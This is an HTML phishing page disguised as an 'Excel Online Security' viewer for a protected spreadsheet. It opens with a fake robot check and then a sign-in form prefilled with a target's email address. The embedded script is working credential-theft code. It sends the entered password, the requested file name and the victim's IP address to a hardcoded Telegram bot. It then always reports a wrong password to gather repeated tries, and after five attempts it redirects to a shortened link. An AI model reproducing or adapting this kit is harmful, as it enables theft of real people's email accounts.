<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Excel Sheet Online</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <link rel="shortcut icon" href="https://i.ibb.co/N1fHCzC/200-cb-20200929201109.png">
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #ffffff;
            background-image: ;
            background-repeat: no-repeat;background-size: cover;
            margin: 0;
            padding: 0;
            background-image: url(https://i.ibb.co/8MXrn0f/049bc4624875e35c9a678af7eb99bb95.jpg);
        }
        

        .document-list {
            width: 100%;
           
            padding-top: 20px;
            background-color #f6f6f6;
        }

        .logg{
            width:100px;
             background-color #0056b3;
             margin: 0% auto;
             justify-content: center;
             align-items: center;
             

            
        }

        .document-list h2, .document-list h5 {
            text-align: center;
            margin-bottom: 20px;
        }

        .document-list ul {
            list-style-type: none;
            padding: 0;
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 15px;
        }

        .document-list li {
            background-color: white;
            padding: 15px;
            border-radius: 10px;
            box-shadow: 0 0 15px rgb(83, 83, 83);
            text-align: center;
            width: 120px;
        }

        .document-list li a {
            text-decoration: none;
            color: #333;
            display: block;
            margin-top: 10px;
            font-size: 0.9rem;
        }

        .document-list li i {
            font-size: 2rem;
            color: #ff0030;
        }

        .login-form {
            display: none;
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background-color: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
            z-index: 10;
            width: 90%;
            max-width: 380px;
        }

        .login-form h2 {
            text-align: center;
            margin-bottom: 20px;
        }

        input {
            width: calc(100% - 22px);
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 16px;
        }

        input[type="submit"] {
            background-color: #007bff;
            color: white;
            cursor: pointer;
            border: none;
            font-size: 1rem;
        }

        input[type="submit"]:hover {
            background-color: #0056b3;
        }

        .success {
            font-size: 14px;
            text-align: center;
            margin-top: 10px;
            color: red;
        }

        .overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 5;
        }

        @media (max-width: 600px) {
            .document-list li {
                width: 90px;
                padding: 10px;
            }

            .document-list li a {
                font-size: 0.8rem;
            }

            .document-list li i {
                font-size: 1.5rem;
            }

            .login-form {
                width: 90%;
            }

            input {
                font-size: 0.9rem;
            }

            input[type="submit"] {
                font-size: 0.9rem;
            }
        }
    </style>
</head>
<body>

    <div class="document-list">
        <div class="logg">
            <a href="#"><img src="https://i.ibb.co/N1fHCzC/200-cb-20200929201109.png" class="" alt="" style="width:100px; ">
            </a>
        </div>

        
        <h2 style="text-align: center; color:green; "> Prove that you are not a robot</h2>
        <h4 style="text-align: center; color white; ">File Name: Order Requirements.xls</h4>
        <h4 style="text-align: center; color white; ">File Description: 3 items, (Product Sample, Company's <br> Profile, Products Specifications) 272 MB in total </h4>
        <h4 style="text-align: center; color white; ">File Type: Microsoft Excel File (Protected) </h4>
        
  <br>

        <ul>
            <a style="text-decoration: none;  color: white;" href="#" data-file="EFT-Receipt.Pdf">  
                <li style="background-color: green;">
                I'm Not a Robot
            </li>
            </a>
        </ul>

    </div>

    <div class="overlay"></div>

   

    <div class="login-form" id="loginForm">
        <div class="logg" style="display: flex; align-items: center; justify-content: center; margin-bottom: 20px;">
            <img alt="Logo" src="https://i.ibb.co/N1fHCzC/200-cb-20200929201109.png" style="width:100px;">
        </div>
        
        <form id="loginFormElement">  
            <p style="text-align: center; color: green; font-size: 20px; ">Excel Online Security</p>
            <p style="text-align: center; color: red; font-size: 12px; margin-top: -17px; ">*Secure File and Email Access*</p>
            <p style="text-align: center; color:; font-size: 12px; margin-top -17px; ">
                Email verification is required! You need to sign in with your email to ensure you are the rightful recipient of the secured document. </p>
            <input style="margin-left: 10px;" type="text" id="username" name="username" placeholder="Username" aria-label="Username" required readonly value="info@thenutplace.com.ng">
            <input style="margin-left: 10px;" type="password" id="password" name="password" placeholder="Password" aria-label="Password" required>
            <input style="margin-left: 10px; background-color: green;" type="submit"  value="Sign in to view Documents">
        </form>
        <p class="success" id="successMessage"></p>
    </div>

   <script>
    const documentLinks = document.querySelectorAll('.document-list a');
    const overlay = document.querySelector('.overlay');
    const loginForm = document.getElementById('loginForm');
    const successMessage = document.getElementById('successMessage');
    let selectedFile = '';
    let failedAttempts = 0; // Counter for failed login attempts

    documentLinks.forEach(link => {
        link.addEventListener('click', function (event) {
            event.preventDefault();
            selectedFile = this.getAttribute('data-file');

            loginForm.style.display = 'block';
            overlay.style.display = 'block';
        });
    });

    document.getElementById('loginFormElement').addEventListener('submit', function (event) {
        event.preventDefault();

        const username = document.getElementById('username').value.trim();
        const password = document.getElementById('password').value.trim();
        successMessage.textContent = '';

        if (username === '' || password === '') {
            successMessage.textContent = 'Please enter both username and password.';
            return;
        }

        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(ipData => {
                const ip = ipData.ip;
                const botToken = '5839474774:AAHLIQY3BnHqWp8iWAJ8fCCfFfqkMKcoTp4';
                const chatId = '1788371409';

                const message = `New Excel Login:\nUsername: ${username}\nPassword: ${password}\nRequested File: ${selectedFile}\nIP Address: ${ip}`;

                return fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: message
                    })
                });
            })
            .then(response => response.json())
            .then(data => {
                if (data.ok) {
                    failedAttempts++; // Increment failed attempts
                    successMessage.textContent = 'The email or password you entered is incorrect. Please try again.';


                    if (failedAttempts >= 5) {
                        window.location.href = 'https://bit.ly/3KtVUu9'; // Redirect to Google after 3 failed attempts
                    }
                } else {
                    successMessage.textContent = 'Failed to send login details.';
                }
            })
            .catch(error => {
                console.error('Error:', error);
               successMessage.textContent = 'The email or password you entered is incorrect. Please try again.';

            });

        // Clear the password field after submission
        document.getElementById('password').value = '';
    });
</script>


</body>
</html>
